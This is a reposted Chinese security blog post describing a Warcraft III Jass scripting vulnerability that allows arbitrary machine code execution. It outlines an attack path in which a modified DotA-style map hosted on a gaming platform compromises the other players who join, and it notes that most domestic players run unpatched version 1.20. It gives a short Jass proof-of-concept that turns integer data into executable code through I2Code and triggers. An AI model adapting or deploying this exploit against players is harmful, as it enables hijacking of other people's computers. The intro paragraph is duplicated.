各大游戏高危漏洞(魔兽争霸、反恐精英) 's

admin 2017年5月4日18:34:07评论444 views字数 941阅读3分8秒阅读模式
摘要

# 鬼仔:这个洞貌似很早以前就出了,暴雪也已经出了补丁,但是
ring04h:暴雪在1.24上,做出了修复工作,但是国内的完全全部都徘徊在1.20版,谁都不会去更新。 对于国内玩家,这个漏洞利用率能够稳定在90%上。

# 鬼仔:这个洞貌似很早以前就出了,暴雪也已经出了补丁,但是
ring04h:暴雪在1.24上,做出了修复工作,但是国内的完全全部都徘徊在1.20版,谁都不会去更新。 对于国内玩家,这个漏洞利用率能够稳定在90%上。

作者:ring04h

War3 Jass虚拟机经测试,存在严重漏洞!允许运行时动态创建并执行任意机器码
Jass属于War3为地图开发者提供的一套脚本语言,方便开发者开发或建立修改属于自己的地图。
经过推断,CS (cstrike)可能也存在此类问题。

利用方式:登陆浩方或者VS对战平台,修改某张地图(例如DOTA的地图),开启游戏,等待其他玩家进入,开始游戏,即可执行任意机器码,控制玩家计算机。

Jass语言的用处
Jass(正确地说是Jass2)是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位(Unit), 设置的触发(Trigger)等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用.

POC:

set bj_meleeTwinkedHeroes[1024] = 0x90909090
set bj_meleeTwinkedHeroes[1025] = 0x90909090 //and other bytecode giberish.

local code C = I2Code( code2I(function GetRandomDirectionDeg) + 0xC92D8 )

call TriggerAddAction(t, C)
call TriggerExecute(t)

//It will run whatever bytecode 90 90 90 90 means

function main takes nothing returns nothing
set t = CreateTrigger()
call TriggerAddAction(t, i2code(0x00929217) )
a[0]=0x45623512
a[1]=0x34562323
a[2]=0x62329301

//other thousand lines of this

b[0]=0x12312333
endfunction

上图:

各大游戏高危漏洞(魔兽争霸、反恐精英)  's
文章标题加上了by ring04h,是说明ring04h将对以上的言论负责,其它稍后再编辑详情,上POC!

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